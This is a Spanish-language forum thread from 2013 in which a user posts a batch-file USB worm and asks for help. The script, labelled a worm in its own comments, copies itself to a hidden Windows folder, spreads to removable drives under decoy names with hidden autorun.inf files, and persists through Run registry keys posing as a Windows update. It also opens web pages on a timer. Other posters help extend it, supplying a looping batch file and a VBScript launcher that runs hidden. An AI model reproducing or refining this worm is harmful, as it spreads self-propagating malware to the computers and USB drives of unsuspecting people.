ayuda start batch

Iniciado por asdexiva, 23 Julio 2013, 20:23 PM

0 Miembros y 1 Visitante están viendo este tema.

asdexiva

@shift
@echo off
:xD
set juego=systems.exe
SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL
SET AUTORUN=autorun.inf
set moxita=MOXITA.EXE
set trabajo=trabajo.exe



MD "%WINDIR%\14785"
MD "E:\System"
ATTRIB +S +H +R "E:\system"
MD "F:\System"
ATTRIB +S +H +R "F:\system"
MD "G:\System"
ATTRIB +S +H +R "G:\system"
MD "H:\System"
ATTRIB +S +H +R "H:\system"
MD "I:\System"
ATTRIB +S +H +R "I:\system"
MD "J:\System"
ATTRIB +S +H +R "J:\system"




Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM AQUI SE CREA EL ARCHIVO AUTORUN
ECHO [AUTORUN] >%AUTORUNORIGINAL%
ECHO open=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\1=abrir >>%AUTORUNORIGINAL%
ECHO shell\1\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\2\=explorar >>%AUTORUNORIGINAL%
ECHO shell\2\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shellexecute=System\%juego% >>%AUTORUNORIGINAL%

REM VERIFICA LA EXISTENCIA DEL WORM

IF NOT EXIST "E:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "F:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "G:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "H:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "I:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "J:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "E:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "F:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "G:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "H:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "I:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "J:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "E:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "F:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "G:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "H:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "I:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "J:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "%WINDIR%\14785\systems.exe" GOTO COPIARWORM

:COPIARWORM

REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA
REM SISTEMA Y OCULTO.

COPY "%WINDIR%\14785\systems.exe" "E:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "F:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "G:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "H:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "I:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "J:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "E:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "F:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "G:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "H:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "I:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "J:\%moxita%
COPY "%WINDIR%\14785\systems.exe" "E:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "F:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "G:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "H:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "I:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "J:\%trabajo%



Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS

COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%"
ATTRIB +S +H +R "E:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%"
ATTRIB +S +H +R "F:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%"
ATTRIB +S +H +R "G:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%"
ATTRIB +S +H +R "H:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%"
ATTRIB +S +H +R "I:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%"
ATTRIB +S +H +R "J:\%AUTORUN%"

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f



start primera pagina web
ping 127.0.0.1 -n 30
start segunda pagina web
ping 127.0.0.1 -n 30
start tercera pagina web
ping 127.0.0.1 -n 300

goto xd



lo que quiero es que esta parte se ejecute cada 14400 segundos
start paginaweb
ping 127.0.0.1 -n 30
start segunda pagina
ping 127.0.0.1 -n 30
start tercera pagina
ping 127.0.0.1 -n 300


pero lo demas siga funcionando no se si me explico quiero que se siga copiando a las usb pero quiero que los start se ejecuten cada 14400 segundos sin que se detenga la otra parte del codigo espero y me puedan ayudar

Meine programmen

Cita de: asdexiva en 23 Julio 2013, 20:23 PMpero lo demas siga funcionando no se si me explico quiero que se siga copiando a las usb pero quiero que los start se ejecuten cada 14400 segundos sin que se detenga la otra parte del codigo espero y me puedan ayudar
Si no me equivoco quieres realizar dos acciones a la vez con un solo batch, y hasta donde yo se, eso no es posible. Deberias de, antes de empezar a copiar, crear y ejecutar otro .bat que se encargara de los start cada 14400. Quizas puedas conseguir algo asi.
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!


asdexiva

Cita de: Meine programmen en 23 Julio 2013, 22:28 PM
Si no me equivoco quieres realizar dos acciones a la vez con un solo batch, y hasta donde yo se, eso no es posible. Deberias de, antes de empezar a copiar, crear y ejecutar otro .bat que se encargara de los start cada 14400. Quizas puedas conseguir algo asi.
podrias darme un ejemplo de como incluir el segundo ? o tendria que ser a fuerzas 2 archivos diferentes  es que  si son 2 como se iniciara el segundo en el sistema

Meine programmen

#3
Cita de: asdexiva en 23 Julio 2013, 22:45 PM
podrias darme un ejemplo de como incluir el segundo ? o tendria que ser a fuerzas 2 archivos diferentes  es que  si son 2 como se iniciara el segundo en el sistema
Si no me equivoco, batch no es capaz de realizar varias acciones a la vez, asi que supongo que deberian de ser 2 archivos diferentes. Lo de como se iniciaria no lo he entendido muy bien. ¿Como que en el sistema?

PD: Tres cosas:
1.- Quizas deberias de comprobar con if si existen esas unidades, en el caso de que existan añades la letra de la unidad a una lista espaciada contenida en una variable (Es decir que si existen solamente E y F, la lista seria " E F" o "E F "). Luego podrias usar for para repetir el mismo trozo de codigo con cada unidad existente.

2.- ¿No es un poco ridiculo que vayas comprobando archivo por archivo, pero que si no existe uno los copies todos, aunque ya esten comprobados? Para eso supongo que seria mejor que copiases sobreescribiendo siempre, porque, ademas, no sabes si esos archivos son los tuyos, aunque se llamen igual.

3.- Deberias de comprobar, ademas de si existen las unidades, si existe en las unidades existentes (Redundancia powah) la carpeta system, por si las moscas.
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!


Eleкtro

Vamos, que quieres ejecutar un proceso sin detener la ejecución del proceso actual. Lo que necesitas es:

Start /B


CitarStart /?

B           Iniciar la aplicación sin crear una nueva ventana. La
           aplicación omite el manejo de ^C. A menos que la aplicación
           habilite el procesamiento de ^C, solo se podrá interrumpir la
           aplicación con ^Inter.

Start /B "páginaweb"
Start /B Ping.exe "google.es"


Otra forma de hacer lo mismo sería instanciando una CMD en separado:
Start cmd "/C ping.exe google.es"

Saludos.








asdexiva

Cita de: EleKtro H@cker en 24 Julio 2013, 01:28 AM
Vamos, que quieres ejecutar un proceso sin detener la ejecución del proceso actual. Lo que necesitas es:

Start /B


Start /B "páginaweb"
Start /B Ping.exe "google.es"


Otra forma de hacer lo mismo sería instanciando una CMD en separado:
Start cmd "/C ping.exe google.es"

Saludos.

si lo hago con Start cmd "/C ping.exe google.es" se abren muchisimas ventanas

y ademas no es como yo queria solo queria que se copiara alas usb y no se detuviera

y que los start se ejecuten aparte con otro ping

aver si me entiendes quiero que esta parte  se ejecute cada 300 segundos

@shift
@echo off
:xD
set juego=systems.exe
SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL
SET AUTORUN=autorun.inf
set moxita=MOXITA.EXE
set trabajo=trabajo.exe



MD "%WINDIR%\14785"
MD "E:\System"
ATTRIB +S +H +R "E:\system"
MD "F:\System"
ATTRIB +S +H +R "F:\system"
MD "G:\System"
ATTRIB +S +H +R "G:\system"
MD "H:\System"
ATTRIB +S +H +R "H:\system"
MD "I:\System"
ATTRIB +S +H +R "I:\system"
MD "J:\System"
ATTRIB +S +H +R "J:\system"




Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM AQUI SE CREA EL ARCHIVO AUTORUN
ECHO [AUTORUN] >%AUTORUNORIGINAL%
ECHO open=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\1=abrir >>%AUTORUNORIGINAL%
ECHO shell\1\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\2\=explorar >>%AUTORUNORIGINAL%
ECHO shell\2\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shellexecute=System\%juego% >>%AUTORUNORIGINAL%

REM VERIFICA LA EXISTENCIA DEL WORM

IF NOT EXIST "E:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "F:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "G:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "H:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "I:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "J:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "E:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "F:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "G:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "H:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "I:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "J:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "E:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "F:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "G:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "H:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "I:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "J:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "%WINDIR%\14785\systems.exe" GOTO COPIARWORM

:COPIARWORM

REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA
REM SISTEMA Y OCULTO.

COPY "%WINDIR%\14785\systems.exe" "E:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "F:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "G:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "H:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "I:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "J:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "E:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "F:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "G:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "H:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "I:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "J:\%moxita%
COPY "%WINDIR%\14785\systems.exe" "E:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "F:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "G:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "H:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "I:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "J:\%trabajo%



Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS

COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%"
ATTRIB +S +H +R "E:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%"
ATTRIB +S +H +R "F:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%"
ATTRIB +S +H +R "G:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%"
ATTRIB +S +H +R "H:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%"
ATTRIB +S +H +R "I:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%"
ATTRIB +S +H +R "J:\%AUTORUN%"

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f
ping 127.0.0.1 -n 300
goto xd


y esta otra se ejecute cada 3600 segundos

start primera pagina web
ping 127.0.0.1 -n 30
start segunda pagina web
ping 127.0.0.1 -n 30
start tercera pagina web
ping 127.0.0.1 -n 300

Meine programmen

#6
Pon:
(echo @echo off
echo :start
echo start primera pagina web
echo ping 127.0.0.1 -n 30
echo start segunda pagina web
echo ping 127.0.0.1 -n 30
echo start tercera pagina web
echo ping 127.0.0.1 -n 300
echo goto start)>>bat.bat
start bat.bat

Antes de la etiqueta xD

Cita de: asdexiva en 24 Julio 2013, 20:06 PM
y esta otra se ejecute cada 3600 segundos
¿3600 o 360?
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!


asdexiva

#7
Cita de: Meine programmen en 24 Julio 2013, 20:27 PM
Pon:
(echo @echo off
echo :start
echo start primera pagina web
echo ping 127.0.0.1 -n 30
echo start segunda pagina web
echo ping 127.0.0.1 -n 30
echo start tercera pagina web
echo ping 127.0.0.1 -n 300
echo goto start)>>bat.bat
start bat.bat

Antes de la etiqueta xD
¿3600 o 360?

3600 por que equivale a 1 hora

no habra forma para que el archivo as.vbs sea temporal y el bat.bat tambien sea temporal ? por que si al prender la pc se ejecuta el worm se auto copiara todo dentro del mismo as.vbs y bat.bat
(echo @echo off
echo :inicio
echo start primera pagina web
echo ping 127.0.0.1 -n 30
echo start segunda pagina web
echo ping 127.0.0.1 -n 30
echo start tercera pagina web
echo ping 127.0.0.1 -n 3600
echo goto inicio)>>bat.bat
echo set zer0 = createobject("wscript.shell")>>as.vbs
echo zer0.run "cmd /c bat.bat", vbhide >>as.vbs
start as.vbs

Meine programmen

Cambia >> por >. Si no me equivoco, eso deberia hacer que se sobreescribiesen.
(echo @echo off
echo :inicio
echo start primera pagina web
echo ping 127.0.0.1 -n 30
echo start segunda pagina web
echo ping 127.0.0.1 -n 30
echo start tercera pagina web
echo ping 127.0.0.1 -n 3600
echo goto inicio)>bat.bat
(echo set zer0 = createobject("wscript.shell")
echo zer0.run "cmd /c bat.bat", vbhide)>as.vbs
start as.vbs
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!


asdexiva

muchas gracias a ti y a elektro solucionado xD